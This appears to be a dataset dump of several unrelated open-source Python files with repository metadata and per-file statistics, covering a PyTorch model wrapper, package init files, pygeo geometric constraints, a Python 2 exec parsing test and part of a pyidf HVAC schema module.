from part1 import * print("part2 被导入了 ")

13.666667

20

0.707317

6

41

4.833333

1

0

0.058824

0.170732

41

3

20

13.666667

0.794118

0

0.261905

0

1

0

true

0

0.5

0

0.5

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

a1179d08af4684bdc6f96b83be24ae08eccb306c

3,130

py

Python

models/resnet.py

kreimanlab/AugMem

cb0e8d39eb0c469da46c7c550c19229927a2bec5

[ "MIT" ]

6

2021-04-07T15:17:24.000Z

2021-07-07T04:37:29.000Z

models/resnet.py

kreimanlab/AugMem

cb0e8d39eb0c469da46c7c550c19229927a2bec5

[ "MIT" ]

null

models/resnet.py

kreimanlab/AugMem

cb0e8d39eb0c469da46c7c550c19229927a2bec5

[ "MIT" ]

null

''' Implementation of resnet-18 ''' import torchvision.models as models import torch.nn as nn #class ResNet18(nn.Module): # # def __init__(self, model_config): # self.config = model_config # super(ResNet18, self).__init__() # # self.model = models.resnet18(pretrained = self.config['pretrained']) # # # freezing weights for feature extraction if desired # if self.config['freeze_feature_extract']: # for param in self.model.parameters(): # param.requires_grad = False # # if self.config['n_class'] is not None: # print("Changing output layer to contain {} classes".format(self.config['n_class'])) # self.model.fc = nn.Linear(512, self.config['n_class']) # # # def forward(self, x): # out = self.model(x) # return(out) #class ResNet18(nn.Module): # # def __init__(self, model_config): # self.config = model_config # super(ResNet18, self).__init__() # # self.tempmodel = models.vgg16(pretrained = self.config['pretrained']) # # if self.config['n_class'] is not None: # print("Changing output layer to contain {} classes".format(self.config['n_class'])) # self.model = nn.Sequential(self.tempmodel.features, # self.tempmodel.avgpool, # nn.Flatten(), # *(list(self.tempmodel.classifier)[0:-1]), # nn.Linear(4096, self.config['n_class'])) # else: # self.model = nn.Sequential(self.tempmodel.features, # self.tempmodel.avgpool, # nn.Flatten(), # self.tempmodel.classifier) # # # freezing weights for feature extraction if desired # if self.config['freeze_feature_extract']: # for param in self.model.parameters(): # param.requires_grad = False # # # def forward(self, x): # out = self.model(x) # return(out) class ResNet18(nn.Module): def __init__(self, model_config): self.config = model_config super(ResNet18, self).__init__() self.model = models.squeezenet1_0(pretrained=self.config['pretrained']) # freezing weights for feature extraction if desired if self.config['freeze_feature_extract']: for param in self.model.parameters(): param.requires_grad = False if self.config['n_class'] is not None: print("Changing output layer to contain {} classes".format(self.config['n_class'])) self.model.classifier[1] = nn.Conv2d(512, self.config['n_class'], (3, 3), stride=(1, 1), padding=(1, 1)) self.model = nn.Sequential(self.model, nn.Flatten()) def forward(self, x): out = self.model(x) return out

37.710843

116

0.532907

327

3,130

4.95107

0.217125

0.11118

0.061149

0.088944

0.822112

0.7832

0

0.019579

0.347284

3,130

82

117

38.170732

0.772883

0.670927

0

0.099174

0.022727

0

1

0.117647

false

0

0.117647

0

0.352941

0.058824

0

null

0

1

0

null

0

6

a13da8f040aa8c7fcac1087553566ff2363f4dfc

201

py

Python

mosdef_gomc/__init__.py

GOMC-WSU/MoSDeF-GOMC

6cd58531c4f2fc575938d98373401a94b843e4bd

[ "MIT" ]

2

2022-03-23T18:46:40.000Z

2022-03-28T22:34:24.000Z

mosdef_gomc/__init__.py

GOMC-WSU/MoSDeF-GOMC

6cd58531c4f2fc575938d98373401a94b843e4bd

[ "MIT" ]

2

2022-03-28T22:41:50.000Z

2022-03-28T23:22:34.000Z

mosdef_gomc/__init__.py

GOMC-WSU/MoSDeF-GOMC

6cd58531c4f2fc575938d98373401a94b843e4bd

[ "MIT" ]

1

2022-03-22T23:49:24.000Z

"""mBuild: a hierarchical, component based molecule builder.""" from mosdef_gomc.formats.charmm_writer import Charmm from mosdef_gomc.formats.gomc_conf_writer import GOMCControl __version__ = "0.1.0"

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6

a1c5e3ced1d8ca612c8488e541b2d5584cad1f52

29

py

Python

python/darknet/core/__init__.py

elsampsa/darknet-python

6c62a5934082157154087809d67d0ee43384cc7a

[ "MIT" ]

10

2019-05-10T07:26:56.000Z

2021-04-22T18:59:12.000Z

python/darknet/core/__init__.py

elsampsa/darknet-python

6c62a5934082157154087809d67d0ee43384cc7a

[ "MIT" ]

null

python/darknet/core/__init__.py

elsampsa/darknet-python

6c62a5934082157154087809d67d0ee43384cc7a

[ "MIT" ]

4

2018-11-16T00:55:41.000Z

2020-09-29T03:44:28.000Z

from .darknet_core import *

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1

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6

b80a160b55eb567826ffac5d12122b08836324c6

138

py

Python

main.py

likelion/script.tubecast

33c6bd7f87dfdca3e86a0dc2239a31d3f43a0450

[ "MIT" ]

83

2018-03-16T21:42:59.000Z

2022-03-13T20:51:41.000Z

main.py

likelion/script.tubecast

33c6bd7f87dfdca3e86a0dc2239a31d3f43a0450

[ "MIT" ]

52

2018-03-29T01:35:10.000Z

2022-03-01T15:48:24.000Z

main.py

likelion/script.tubecast

33c6bd7f87dfdca3e86a0dc2239a31d3f43a0450

[ "MIT" ]

34

2018-03-28T13:58:46.000Z

2021-12-06T11:13:48.000Z

# -*- coding: utf-8 -*- from resources.lib import service from resources.lib.kodi import kodilogging kodilogging.config() service.run()

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b82036dddb6b1959bf0b831a086f6bda29450362

72

py

Python

setup.py

anaquin135/flaskURL

458ca5b2264117f94a4ff68d5395a3d81ec6458b

[ "MIT" ]

null

setup.py

anaquin135/flaskURL

458ca5b2264117f94a4ff68d5395a3d81ec6458b

[ "MIT" ]

null

setup.py

anaquin135/flaskURL

458ca5b2264117f94a4ff68d5395a3d81ec6458b

[ "MIT" ]

null

from flaskURL import db from flaskURL.models import URL db.create_all()

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1

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1

0

6

62c504618cd99786ac886c55e14f2395d4a6422e

6,884

py

Python

pygeo/constraints/thicknessConstraint.py

jrram/pygeo

ed15c848703a90055d38130b6d05cef8080a9d68

[ "Apache-2.0" ]

null

pygeo/constraints/thicknessConstraint.py

jrram/pygeo

ed15c848703a90055d38130b6d05cef8080a9d68

[ "Apache-2.0" ]

null

pygeo/constraints/thicknessConstraint.py

jrram/pygeo

ed15c848703a90055d38130b6d05cef8080a9d68

[ "Apache-2.0" ]

null

# ====================================================================== # Imports # ====================================================================== import numpy as np from .. import geo_utils from .baseConstraint import GeometricConstraint class ThicknessConstraint(GeometricConstraint): """ DVConstraints representation of a set of thickness constraints. One of these objects is created each time a addThicknessConstraints2D or addThicknessConstraints1D call is made. The user should not have to deal with this class directly. """ def __init__(self, name, coords, lower, upper, scaled, scale, DVGeo, addToPyOpt, compNames): super().__init__(name, len(coords) // 2, lower, upper, scale, DVGeo, addToPyOpt) self.coords = coords self.scaled = scaled # First thing we can do is embed the coordinates into DVGeo # with the name provided: self.DVGeo.addPointSet(self.coords, self.name, compNames=compNames) # Now get the reference lengths self.D0 = np.zeros(self.nCon) for i in range(self.nCon): self.D0[i] = np.linalg.norm(self.coords[2 * i] - self.coords[2 * i + 1]) def evalFunctions(self, funcs, config): """ Evaluate the functions this object has and place in the funcs dictionary Parameters ---------- funcs : dict Dictionary to place function values """ # Pull out the most recent set of coordinates: self.coords = self.DVGeo.update(self.name, config=config) D = np.zeros(self.nCon) for i in range(self.nCon): D[i] = np.linalg.norm(self.coords[2 * i] - self.coords[2 * i + 1]) if self.scaled: D[i] /= self.D0[i] funcs[self.name] = D def evalFunctionsSens(self, funcsSens, config): """ Evaluate the sensitivity of the functions this object has and place in the funcsSens dictionary Parameters ---------- funcsSens : dict Dictionary to place function values """ nDV = self.DVGeo.getNDV() if nDV > 0: dTdPt = np.zeros((self.nCon, self.coords.shape[0], self.coords.shape[1])) for i in range(self.nCon): p1b, p2b = geo_utils.eDist_b(self.coords[2 * i, :], self.coords[2 * i + 1, :]) if self.scaled: p1b /= self.D0[i] p2b /= self.D0[i] dTdPt[i, 2 * i, :] = p1b dTdPt[i, 2 * i + 1, :] = p2b funcsSens[self.name] = self.DVGeo.totalSensitivity(dTdPt, self.name, config=config) def writeTecplot(self, handle): """ Write the visualization of this set of thickness constraints to the open file handle """ handle.write("Zone T=%s\n" % self.name) handle.write("Nodes = %d, Elements = %d ZONETYPE=FELINESEG\n" % (len(self.coords), len(self.coords) // 2)) handle.write("DATAPACKING=POINT\n") for i in range(len(self.coords)): handle.write(f"{self.coords[i, 0]:f} {self.coords[i, 1]:f} {self.coords[i, 2]:f}\n") for i in range(len(self.coords) // 2): handle.write("%d %d\n" % (2 * i + 1, 2 * i + 2)) class ThicknessToChordConstraint(GeometricConstraint): """ ThicknessToChordConstraint represents of a set of thickess-to-chord ratio constraints. One of these objects is created each time a addThicknessToChordConstraints2D or addThicknessToChordConstraints1D call is made. The user should not have to deal with this class directly. """ def __init__(self, name, coords, lower, upper, scale, DVGeo, addToPyOpt, compNames): super().__init__(name, len(coords) // 4, lower, upper, scale, DVGeo, addToPyOpt) self.coords = coords # First thing we can do is embed the coordinates into DVGeo # with the name provided: self.DVGeo.addPointSet(self.coords, self.name, compNames=compNames) # Now get the reference lengths self.ToC0 = np.zeros(self.nCon) for i in range(self.nCon): t = np.linalg.norm(self.coords[4 * i] - self.coords[4 * i + 1]) c = np.linalg.norm(self.coords[4 * i + 2] - self.coords[4 * i + 3]) self.ToC0[i] = t / c def evalFunctions(self, funcs, config): """ Evaluate the functions this object has and place in the funcs dictionary Parameters ---------- funcs : dict Dictionary to place function values """ # Pull out the most recent set of coordinates: self.coords = self.DVGeo.update(self.name, config=config) ToC = np.zeros(self.nCon) for i in range(self.nCon): t = geo_utils.eDist(self.coords[4 * i], self.coords[4 * i + 1]) c = geo_utils.eDist(self.coords[4 * i + 2], self.coords[4 * i + 3]) ToC[i] = (t / c) / self.ToC0[i] funcs[self.name] = ToC def evalFunctionsSens(self, funcsSens, config): """ Evaluate the sensitivity of the functions this object has and place in the funcsSens dictionary Parameters ---------- funcsSens : dict Dictionary to place function values """ nDV = self.DVGeo.getNDV() if nDV > 0: dToCdPt = np.zeros((self.nCon, self.coords.shape[0], self.coords.shape[1])) for i in range(self.nCon): t = geo_utils.eDist(self.coords[4 * i], self.coords[4 * i + 1]) c = geo_utils.eDist(self.coords[4 * i + 2], self.coords[4 * i + 3]) p1b, p2b = geo_utils.eDist_b(self.coords[4 * i, :], self.coords[4 * i + 1, :]) p3b, p4b = geo_utils.eDist_b(self.coords[4 * i + 2, :], self.coords[4 * i + 3, :]) dToCdPt[i, 4 * i, :] = p1b / c / self.ToC0[i] dToCdPt[i, 4 * i + 1, :] = p2b / c / self.ToC0[i] dToCdPt[i, 4 * i + 2, :] = (-p3b * t / c ** 2) / self.ToC0[i] dToCdPt[i, 4 * i + 3, :] = (-p4b * t / c ** 2) / self.ToC0[i] funcsSens[self.name] = self.DVGeo.totalSensitivity(dToCdPt, self.name, config=config) def writeTecplot(self, handle): """ Write the visualization of this set of thickness constraints to the open file handle """ handle.write("Zone T=%s\n" % self.name) handle.write("Nodes = %d, Elements = %d ZONETYPE=FELINESEG\n" % (len(self.coords), len(self.coords) // 2)) handle.write("DATAPACKING=POINT\n") for i in range(len(self.coords)): handle.write(f"{self.coords[i, 0]:f} {self.coords[i, 1]:f} {self.coords[i, 2]:f}\n") for i in range(len(self.coords) // 2): handle.write("%d %d\n" % (2 * i + 1, 2 * i + 2))

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6

62f907dd7be7d32d307e2a352ac10a9affc6d2d7

78

py

Python

src/assert.py

kylerlmy/pythonpractice

6bdd329ac9adfc98c1cc4c37cc8581adad6018ad

[ "MIT" ]

null

src/assert.py

kylerlmy/pythonpractice

6bdd329ac9adfc98c1cc4c37cc8581adad6018ad

[ "MIT" ]

null

src/assert.py

kylerlmy/pythonpractice

6bdd329ac9adfc98c1cc4c37cc8581adad6018ad

[ "MIT" ]

null

mylist=['item'] assert len(mylist) >=1 mylist.pop() assert len(mylist)>=1

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null

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1

0

6

1a1d0aca9ad7a1f8c6a3b5c0f2abf87826eb5231

188

py

Python

example/python2/test/parse/exec.py

rocky/python-spark

d3f966a4e8c191c51b1dcfa444026b4c6831984f

[ "MIT" ]

43

2016-04-24T15:20:16.000Z

2022-03-19T21:01:29.000Z

example/python2/test/format/exec.py

rocky/python-spark

d3f966a4e8c191c51b1dcfa444026b4c6831984f

[ "MIT" ]

11

2016-06-01T16:06:38.000Z

2020-05-20T20:15:32.000Z

example/python2/test/parse/exec.py

rocky/python-spark

d3f966a4e8c191c51b1dcfa444026b4c6831984f

[ "MIT" ]

12

2016-05-24T12:15:04.000Z

2021-11-20T02:14:00.000Z

# Parsing and formatting tests for: # # exec_stmt ::= # 'exec' expr ['in' test [',' test]] exec 'exec-string' in locals, globals exec 'exec-string' in dict exec 'exec-string'

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6

c50f015e5e48cbb94961522c7fdbd3de007eb575

183,710

py

Python

pyidf/hvac_design_objects.py

marcelosalles/pyidf

c2f744211572b5e14e29522aac1421ba88addb0e

[ "Apache-2.0" ]

19

2015-12-08T23:33:51.000Z

2022-01-31T04:41:10.000Z

pyidf/hvac_design_objects.py

marcelosalles/pyidf

c2f744211572b5e14e29522aac1421ba88addb0e

[ "Apache-2.0" ]

2

2019-10-04T10:57:00.000Z

2021-10-01T06:46:17.000Z

pyidf/hvac_design_objects.py

marcelosalles/pyidf

c2f744211572b5e14e29522aac1421ba88addb0e

[ "Apache-2.0" ]

7

2015-11-04T02:25:01.000Z

2021-12-08T03:14:28.000Z

""" Data objects in group "HVAC Design Objects" """ from collections import OrderedDict import logging from pyidf.helper import DataObject logger = logging.getLogger("pyidf") logger.addHandler(logging.NullHandler()) class DesignSpecificationOutdoorAir(DataObject): """ Corresponds to IDD object `DesignSpecification:OutdoorAir` This object is used to describe general outdoor air requirements which are referenced by other objects. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'outdoor air method', {'name': u'Outdoor Air Method', 'pyname': u'outdoor_air_method', 'default': u'Flow/Person', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Flow/Person', u'Flow/Area', u'Flow/Zone', u'AirChanges/Hour', u'Sum', u'Maximum'], 'autocalculatable': False, 'type': 'alpha'}), (u'outdoor air flow per person', {'name': u'Outdoor Air Flow per Person', 'pyname': u'outdoor_air_flow_per_person', 'default': 0.00944, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-person'}), (u'outdoor air flow per zone floor area', {'name': u'Outdoor Air Flow per Zone Floor Area', 'pyname': u'outdoor_air_flow_per_zone_floor_area', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm3/s-m2'}), (u'outdoor air flow per zone', {'name': u'Outdoor Air Flow per Zone', 'pyname': u'outdoor_air_flow_per_zone', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'outdoor air flow air changes per hour', {'name': u'Outdoor Air Flow Air Changes per Hour', 'pyname': u'outdoor_air_flow_air_changes_per_hour', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'1/hr'}), (u'outdoor air flow rate fraction schedule name', {'name': u'Outdoor Air Flow Rate Fraction Schedule Name', 'pyname': u'outdoor_air_flow_rate_fraction_schedule_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 1, 'name': u'DesignSpecification:OutdoorAir', 'pyname': u'DesignSpecificationOutdoorAir', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def outdoor_air_method(self): """field `Outdoor Air Method` | Flow/Person => Outdoor Air Flow per Person * Occupancy = Design Flow Rate, | Flow/Area => Outdoor Air Flow per Zone Floor Area * Zone Floor Area = Design Flow Rate, | Flow/Zone => Outdoor Air Flow per Zone = Design Flow Rate, | AirChanges/Hour => Outdoor Air Flow Air Changes per Hour * Zone Volume adjusted for m3/s = Design Flow Rate | Default value: Flow/Person Args: value (str): value for IDD Field `Outdoor Air Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outdoor_air_method` or None if not set """ return self["Outdoor Air Method"] @outdoor_air_method.setter def outdoor_air_method(self, value="Flow/Person"): """Corresponds to IDD field `Outdoor Air Method`""" self["Outdoor Air Method"] = value @property def outdoor_air_flow_per_person(self): """field `Outdoor Air Flow per Person` | 0.00944 m3/s is equivalent to 20 cfm per person | This input should be used if the field Outdoor Air Method is Flow/Person. | This input is used if the field Outdoor Air Method is Flow/Person, Sum, or Maximum | Units: m3/s-person | Default value: 0.00944 Args: value (float): value for IDD Field `Outdoor Air Flow per Person` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `outdoor_air_flow_per_person` or None if not set """ return self["Outdoor Air Flow per Person"] @outdoor_air_flow_per_person.setter def outdoor_air_flow_per_person(self, value=0.00944): """Corresponds to IDD field `Outdoor Air Flow per Person`""" self["Outdoor Air Flow per Person"] = value @property def outdoor_air_flow_per_zone_floor_area(self): """field `Outdoor Air Flow per Zone Floor Area` | This input should be used if the field Outdoor Air Method is Flow/Area. | This input is used if the field Outdoor Air Method is Flow/Area, Sum, or Maximum | Units: m3/s-m2 Args: value (float): value for IDD Field `Outdoor Air Flow per Zone Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `outdoor_air_flow_per_zone_floor_area` or None if not set """ return self["Outdoor Air Flow per Zone Floor Area"] @outdoor_air_flow_per_zone_floor_area.setter def outdoor_air_flow_per_zone_floor_area(self, value=None): """Corresponds to IDD field `Outdoor Air Flow per Zone Floor Area`""" self["Outdoor Air Flow per Zone Floor Area"] = value @property def outdoor_air_flow_per_zone(self): """field `Outdoor Air Flow per Zone` | This input should be used if the field Outdoor Air Method is Flow/Zone. | This input is used if the field Outdoor Air Method is Flow/Zone, Sum, or Maximum | Units: m3/s Args: value (float): value for IDD Field `Outdoor Air Flow per Zone` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `outdoor_air_flow_per_zone` or None if not set """ return self["Outdoor Air Flow per Zone"] @outdoor_air_flow_per_zone.setter def outdoor_air_flow_per_zone(self, value=None): """Corresponds to IDD field `Outdoor Air Flow per Zone`""" self["Outdoor Air Flow per Zone"] = value @property def outdoor_air_flow_air_changes_per_hour(self): """field `Outdoor Air Flow Air Changes per Hour` | This input should be used if the field Outdoor Air Method is AirChanges/Hour. | This input is used if the field Outdoor Air Method is AirChanges/Hour, Sum, or Maximum | Units: 1/hr Args: value (float): value for IDD Field `Outdoor Air Flow Air Changes per Hour` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `outdoor_air_flow_air_changes_per_hour` or None if not set """ return self["Outdoor Air Flow Air Changes per Hour"] @outdoor_air_flow_air_changes_per_hour.setter def outdoor_air_flow_air_changes_per_hour(self, value=None): """Corresponds to IDD field `Outdoor Air Flow Air Changes per Hour`""" self["Outdoor Air Flow Air Changes per Hour"] = value @property def outdoor_air_flow_rate_fraction_schedule_name(self): """field `Outdoor Air Flow Rate Fraction Schedule Name` | Schedule values are multiplied by the Outdoor Air Flow rate calculated using | the previous four inputs. Schedule values are limited to 0 to 1. Args: value (str): value for IDD Field `Outdoor Air Flow Rate Fraction Schedule Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outdoor_air_flow_rate_fraction_schedule_name` or None if not set """ return self["Outdoor Air Flow Rate Fraction Schedule Name"] @outdoor_air_flow_rate_fraction_schedule_name.setter def outdoor_air_flow_rate_fraction_schedule_name(self, value=None): """Corresponds to IDD field `Outdoor Air Flow Rate Fraction Schedule Name`""" self["Outdoor Air Flow Rate Fraction Schedule Name"] = value class DesignSpecificationZoneAirDistribution(DataObject): """ Corresponds to IDD object `DesignSpecification:ZoneAirDistribution` This object is used to describe zone air distribution in terms of air distribution effectiveness and secondary recirculation fraction. It is referenced by Sizing:Zone and Controller:MechanicalVentilation objects """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'zone air distribution effectiveness in cooling mode', {'name': u'Zone Air Distribution Effectiveness in Cooling Mode', 'pyname': u'zone_air_distribution_effectiveness_in_cooling_mode', 'default': 1.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'zone air distribution effectiveness in heating mode', {'name': u'Zone Air Distribution Effectiveness in Heating Mode', 'pyname': u'zone_air_distribution_effectiveness_in_heating_mode', 'default': 1.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'zone air distribution effectiveness schedule name', {'name': u'Zone Air Distribution Effectiveness Schedule Name', 'pyname': u'zone_air_distribution_effectiveness_schedule_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'zone secondary recirculation fraction', {'name': u'Zone Secondary Recirculation Fraction', 'pyname': u'zone_secondary_recirculation_fraction', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 1, 'name': u'DesignSpecification:ZoneAirDistribution', 'pyname': u'DesignSpecificationZoneAirDistribution', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def zone_air_distribution_effectiveness_in_cooling_mode(self): """field `Zone Air Distribution Effectiveness in Cooling Mode` | Units: dimensionless | Default value: 1.0 Args: value (float): value for IDD Field `Zone Air Distribution Effectiveness in Cooling Mode` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_air_distribution_effectiveness_in_cooling_mode` or None if not set """ return self["Zone Air Distribution Effectiveness in Cooling Mode"] @zone_air_distribution_effectiveness_in_cooling_mode.setter def zone_air_distribution_effectiveness_in_cooling_mode(self, value=1.0): """Corresponds to IDD field `Zone Air Distribution Effectiveness in Cooling Mode`""" self["Zone Air Distribution Effectiveness in Cooling Mode"] = value @property def zone_air_distribution_effectiveness_in_heating_mode(self): """field `Zone Air Distribution Effectiveness in Heating Mode` | Units: dimensionless | Default value: 1.0 Args: value (float): value for IDD Field `Zone Air Distribution Effectiveness in Heating Mode` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_air_distribution_effectiveness_in_heating_mode` or None if not set """ return self["Zone Air Distribution Effectiveness in Heating Mode"] @zone_air_distribution_effectiveness_in_heating_mode.setter def zone_air_distribution_effectiveness_in_heating_mode(self, value=1.0): """Corresponds to IDD field `Zone Air Distribution Effectiveness in Heating Mode`""" self["Zone Air Distribution Effectiveness in Heating Mode"] = value @property def zone_air_distribution_effectiveness_schedule_name(self): """field `Zone Air Distribution Effectiveness Schedule Name` | optionally used to replace Zone Air Distribution Effectiveness in Cooling and | Heating Mode Args: value (str): value for IDD Field `Zone Air Distribution Effectiveness Schedule Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `zone_air_distribution_effectiveness_schedule_name` or None if not set """ return self["Zone Air Distribution Effectiveness Schedule Name"] @zone_air_distribution_effectiveness_schedule_name.setter def zone_air_distribution_effectiveness_schedule_name(self, value=None): """Corresponds to IDD field `Zone Air Distribution Effectiveness Schedule Name`""" self["Zone Air Distribution Effectiveness Schedule Name"] = value @property def zone_secondary_recirculation_fraction(self): """field `Zone Secondary Recirculation Fraction` | Units: dimensionless Args: value (float): value for IDD Field `Zone Secondary Recirculation Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `zone_secondary_recirculation_fraction` or None if not set """ return self["Zone Secondary Recirculation Fraction"] @zone_secondary_recirculation_fraction.setter def zone_secondary_recirculation_fraction(self, value=None): """Corresponds to IDD field `Zone Secondary Recirculation Fraction`""" self["Zone Secondary Recirculation Fraction"] = value class SizingParameters(DataObject): """ Corresponds to IDD object `Sizing:Parameters` Specifies global heating and cooling sizing factors/ratios. These ratios are applied at the zone level to all of the zone heating and cooling loads and air flow rates. Then these new loads and air flow rates are used to calculate the system level flow rates and capacities and are used in all component sizing calculations. Specifies the width (in load timesteps) of a moving average window which is used to smooth the peak load across more than one timestep. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'heating sizing factor', {'name': u'Heating Sizing Factor', 'pyname': u'heating_sizing_factor', 'default': 1.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'cooling sizing factor', {'name': u'Cooling Sizing Factor', 'pyname': u'cooling_sizing_factor', 'default': 1.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'timesteps in averaging window', {'name': u'Timesteps in Averaging Window', 'pyname': u'timesteps_in_averaging_window', 'required-field': False, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 1, 'name': u'Sizing:Parameters', 'pyname': u'SizingParameters', 'required-object': False, 'unique-object': True} @property def heating_sizing_factor(self): """field `Heating Sizing Factor` | Default value: 1.0 Args: value (float): value for IDD Field `Heating Sizing Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_sizing_factor` or None if not set """ return self["Heating Sizing Factor"] @heating_sizing_factor.setter def heating_sizing_factor(self, value=1.0): """Corresponds to IDD field `Heating Sizing Factor`""" self["Heating Sizing Factor"] = value @property def cooling_sizing_factor(self): """field `Cooling Sizing Factor` | Default value: 1.0 Args: value (float): value for IDD Field `Cooling Sizing Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_sizing_factor` or None if not set """ return self["Cooling Sizing Factor"] @cooling_sizing_factor.setter def cooling_sizing_factor(self, value=1.0): """Corresponds to IDD field `Cooling Sizing Factor`""" self["Cooling Sizing Factor"] = value @property def timesteps_in_averaging_window(self): """field `Timesteps in Averaging Window` | blank => set the timesteps in averaging window to | Number of Timesteps per Hour resulting in a 1 hour averaging window | default is number of timesteps for 1 hour averaging window | value >= 1 Args: value (int): value for IDD Field `Timesteps in Averaging Window` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `timesteps_in_averaging_window` or None if not set """ return self["Timesteps in Averaging Window"] @timesteps_in_averaging_window.setter def timesteps_in_averaging_window(self, value=None): """Corresponds to IDD field `Timesteps in Averaging Window`""" self["Timesteps in Averaging Window"] = value class SizingZone(DataObject): """ Corresponds to IDD object `Sizing:Zone` Specifies the data needed to perform a zone design air flow calculation. The calculation is done for every sizing period included in the input. The maximum cooling and heating load and cooling, heating, and ventilation air flows are then saved for system level and zone component design calculations. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'zone or zonelist name', {'name': u'Zone or ZoneList Name', 'pyname': u'zone_or_zonelist_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'zone cooling design supply air temperature input method', {'name': u'Zone Cooling Design Supply Air Temperature Input Method', 'pyname': u'zone_cooling_design_supply_air_temperature_input_method', 'default': u'SupplyAirTemperature', 'required-field': True, 'autosizable': False, 'accepted-values': [u'SupplyAirTemperature', u'TemperatureDifference'], 'autocalculatable': False, 'type': 'alpha'}), (u'zone cooling design supply air temperature', {'name': u'Zone Cooling Design Supply Air Temperature', 'pyname': u'zone_cooling_design_supply_air_temperature', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'zone cooling design supply air temperature difference', {'name': u'Zone Cooling Design Supply Air Temperature Difference', 'pyname': u'zone_cooling_design_supply_air_temperature_difference', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'deltaC'}), (u'zone heating design supply air temperature input method', {'name': u'Zone Heating Design Supply Air Temperature Input Method', 'pyname': u'zone_heating_design_supply_air_temperature_input_method', 'default': u'SupplyAirTemperature', 'required-field': True, 'autosizable': False, 'accepted-values': [u'SupplyAirTemperature', u'TemperatureDifference'], 'autocalculatable': False, 'type': 'alpha'}), (u'zone heating design supply air temperature', {'name': u'Zone Heating Design Supply Air Temperature', 'pyname': u'zone_heating_design_supply_air_temperature', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'zone heating design supply air temperature difference', {'name': u'Zone Heating Design Supply Air Temperature Difference', 'pyname': u'zone_heating_design_supply_air_temperature_difference', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'deltaC'}), (u'zone cooling design supply air humidity ratio', {'name': u'Zone Cooling Design Supply Air Humidity Ratio', 'pyname': u'zone_cooling_design_supply_air_humidity_ratio', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'kgWater/kgDryAir'}), (u'zone heating design supply air humidity ratio', {'name': u'Zone Heating Design Supply Air Humidity Ratio', 'pyname': u'zone_heating_design_supply_air_humidity_ratio', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'kgWater/kgDryAir'}), (u'design specification outdoor air object name', {'name': u'Design Specification Outdoor Air Object Name', 'pyname': u'design_specification_outdoor_air_object_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'zone heating sizing factor', {'name': u'Zone Heating Sizing Factor', 'pyname': u'zone_heating_sizing_factor', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real'}), (u'zone cooling sizing factor', {'name': u'Zone 